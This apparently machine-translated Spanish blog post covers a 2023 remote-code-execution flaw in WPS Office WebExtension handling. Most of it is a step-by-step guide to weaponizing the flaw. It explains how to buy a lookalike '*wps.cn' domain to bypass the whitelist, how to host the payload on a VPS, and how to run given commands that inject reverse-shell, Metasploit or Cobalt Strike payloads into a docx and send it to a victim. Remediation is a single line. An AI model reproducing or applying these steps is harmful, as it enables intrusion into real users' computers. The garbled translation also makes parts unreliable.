Directorio de artículos
prefacio
La oficina WPS expuesta durante 2023HVV tiene una vulnerabilidad RCE que un atacante puede utilizar para ejecutar comandos arbitrarios y obtener permisos de control del servidor.
declaración
No utilice las tecnologías relevantes de este artículo para realizar pruebas ilegales. Cualquier consecuencia y pérdida directa o indirecta causada por la difusión y el uso de la información o las herramientas proporcionadas en este artículo son responsabilidad del propio usuario. Todas las consecuencias adversas y El autor del artículo es irrelevante. Este artículo es sólo para fines educativos.
1. Descripción de la vulnerabilidad
WebExtension en Office (a menudo llamado complementos de Office o aplicaciones de Office) es una tecnología que se utiliza para ampliar la funcionalidad de Microsoft Office. Los complementos de Office permiten a los desarrolladores externos integrar sus propios servicios y funciones en las aplicaciones de Office. Estos complementos se desarrollan utilizando tecnologías web multiplataforma (como HTML, CSS y JavaScript) y pueden ejecutarse en diferentes plataformas y dispositivos.
Una comprensión simple es que Office tiene un navegador integrado que puede analizar código html/javascript/css. La vulnerabilidad esta vez es que WPS no pudo procesar correctamente el código javascript al procesar WebExtension, lo que provocó un desbordamiento de RCE (consulte la exposición anterior). de Chrome) vulnerabilidad RCE, la versión WeChat Windows <3.1.2.141 tiene vulnerabilidad RCE, que es similar)
2. Ámbito de influencia
- WPS Office 2023 Edición personal < 11.1.0.15120
- WPS Office 2019 Edición empresarial < 11.8.2.12085
3. Recurrencia de vulnerabilidades
Descargue el paquete del entorno de vulnerabilidad:
https://official-package.wpscdn.cn/wps/download/WPS_Setup_12300.exe
Servidor : vincula el nombre de dominio clientWeb.docer.wps.cn.****.wps.cn
y abre el servicio web. Hay un archivo html en el mismo directorio;
Cliente : inyecta la carga útil en un archivo docx normal, como https://clientweb.docer.wps.cn/shell/vpsIP/9000
enviarlo al host de destino, abre el archivo docx y recupera exitosamente el Caparazón;
A continuación, reproducimos localmente. Al reproducir localmente, necesitamos modificar el archivo de hosts. Los hosts se cambian para que se ajusten a la forma de clientweb.docer.wps.cn.{****}.wps.cn, y los hosts El directorio de archivos es C:\windows\System32\drivers\etc
.
En esta repetición, agregue el host como 127.0.0.1 clientweb.docer.wps.cn.****wps.cn. Como se muestra en la siguiente figura,
inicie el servicio HTTP
. Inicie el servicio http en el directorio POC. Comando de servicio: py -3 -m http.server 80
use el navegador para acceder a clientweb.docer.wps.cn.cloudwps.cn
y abra poc.docx para abrir la calculadora. .
Además de reproducir los métodos anteriores, la vulnerabilidad también se puede explotar aún más mediante scripts.
proyecto github: wps-rce
- Instalar las dependencias correspondientes
- Es necesario utilizar el programa
python3.8以上的版本
para ejecutarse correctamente.
instalación de pip3 -r requisito.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
Funciones del lado del servidor
- El main.py del servidor está en el directorio del servidor. Este script de Python se utiliza para generar código HTML. También admite la generación de códigos de rebote Shell, MSF y CS.
- Necesita comprar el nombre de dominio ****wps.cn
- Necesito comprar VPS
- El nombre de dominio clientwps.docer.wps.cn.***wps.cn debe resolverse en el VPS
Cuando se ejecuta main.py aquí, el puerto de escucha es el puerto 80 y se requieren privilegios de root.
Python inicia el servicio de script principal en el directorio del servidor
- De forma predeterminada, para facilitar la vinculación con nombres de dominio, el puerto de escucha del servicio es 80.
- Si desea utilizar Nginx/Caddy como proxy inverso, puede modificar el puerto usted mismo.
Acceda directamente a la dirección de resolución del nombre de dominio o al puerto VPS
- Este servidor está desarrollado en base al POC publicado en Internet, accediendo a la dirección correspondiente se puede generar directamente el código de utilización del programa correspondiente.
- La URL corresponde a la lista de carga útil de CS y MSF.
Se puede acceder a ella directamente utilizando la IP del VPS. Pruebe localmente y vincule los hosts
para acceder a la prueba.
El entorno anterior ha sido configurado. A continuación, prepare la carga útil para la prueba: http:/ /clientweb.docer.wps.cn .lhhwps.cn/calc
Crear un nuevo documento docx normal
Funciones del cliente
- El main.py del cliente en el directorio del cliente. Este script de Python se utiliza para generar archivos docx.
- Es necesario proporcionar un archivo docx normal y la carga útil del ataque se insertará en este docx.
- Debe basarse en la dirección URL proporcionada por el servidor creado anteriormente, similar a
https://clientweb.docer.wps.cn.***wps.cn/shell/127.0.0.1/9000
Todas las condiciones anteriores están preparadas, ejecute el siguiente comando:
python3 main.py wps0day.docx http://clientweb.docer.wps.cn.lhhwps.cn/calc
Luego descargue el nuevo archivo generado al local, haga doble clic para ejecutar. Rebound Calc se ejecutó con éxito.
Además de bombardear calc, también puede usar el shell de rebote
para acceder a la ruta en el navegador. Los parámetros detrás del shell pueden ser modificados por usted mismo. Genere un nuevo documento docx usando la dirección modificada en el script. Descargue el archivo generado
al local, haga doble clic para ejecutar. ¡
Lo mismo se aplica a otros exploits ! ! !
Consejos 1: pruebas locales
- Cuando utilice docx, debe comprar el nombre de dominio ***wps.cn. Si no tiene un nombre de dominio, simplemente puede probarlo localmente. Puede modificar el archivo hosts de su computadora y vincular el nombre de dominio manualmente. .
- Instale la versión vulnerable de wps y modifique el archivo de hosts.
- Modifique el archivo C:\Windows\System32\drivers\etc\hosts y agregue 127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn (tenga en cuenta que esta operación es para la conveniencia de las pruebas locales y se debe asignar un nombre de dominio). comprado para uso real.)
- Tenga en cuenta que en el archivo de hosts agregado anteriormente, de acuerdo con la situación real, debe completarse 127.0.0.1. Esta IP es la dirección IP del servidor en ejecución. Si el servidor se está ejecutando en esta máquina, puede completar 127.0.0.1. Si se está ejecutando en otro servidor Linux, debe confirmar si se puede acceder a la dirección IP normalmente.
- Seleccione la carga útil del servidor, ya sea para rebotar la calculadora, rebotar el shell, rebotar el msf o rebotar el cs.
- Si se recupera el shell, se genera la URL, http://clientweb.docer.wps.cn.cloudwps.cn/shell/1.1.1.1/9000.1.1.1.1 aquí debe modificarse a la IP del servidor que se ejecuta el comando nc.Esta dirección IP también puede utilizar nombres de dominio. Es necesario cambiar 9000 al puerto en el que escucha nc. (Tenga en cuenta que la IP y nc aquí están separadas, solo para aceptar el shell. Para evitar problemas, puede ejecutarlo directamente con el servidor que ejecuta el servidor).
- Utilice el comando del cliente para generar el archivo docx de ataque, python main.py ~/Downloads/temp.docx http://clientweb.docer.wps.cn.cloudwps.cn/shell/1.1.1.1/9000
- Copie el archivo wps_office_rce_***.docx generado en la computadora donde está instalado wps y haga doble clic para abrirlo en el cliente.
Consejo 2: restricciones de explotación de vulnerabilidades
1. Compre el nombre de dominio ***wps.cn
- Dado que es causado por javascript en WebExtension, debe preparar el archivo html correspondiente. WebExtension admite la carga de html desde sitios web de terceros, por lo que debe habilitar los servicios web en la red pública para compartir archivos html.
- Debido a las limitaciones de wps, cuando cargamos el html de un sitio web de terceros, wps se lo recordará, como se muestra en la siguiente imagen. En WPS, el nombre de dominio wps.cn está en la lista blanca, siempre que los recursos que carguemos estén en el sitio web wps.cn, no aparecerá tal mensaje. Pero no tenemos control sobre wps.cn.
- En WPS, hay una laguna en la detección de la lista blanca. El código puede usar la coincidencia normal de http://.*?.wps.cn. En esta coincidencia, obviamente hay una laguna. Solo necesitamos colocar el archivo html. En el sitio web http://hackwps.cn, puede evitar la detección.
- Por lo tanto, si desea aprovechar esta vulnerabilidad, debe comprar un nombre de dominio, que solo debe contener wps.cn, como hackerwps.cn, xxxwps.cn.
2. Implemente el archivo html en el vps y vincule el nombre de dominio al vps.
- Después de comprar el nombre de dominio y el vps, debe resolver el subdominio clientweb.docer.wps.cn.***wps.cn en el vps comprado, intentar configurar una capa de CDN y luego usar el proxy inverso nginx para el servicio construido. (Puede aprender e implementar nombres de dominio/vps/cdn específicos usted mismo).
- El nombre del subdominio aquí debe ser clientweb.docer.wps.cn.***wps.cn; de lo contrario, no pasará la lista blanca.
4. Sugerencias de reparación
Actualizar a la última versión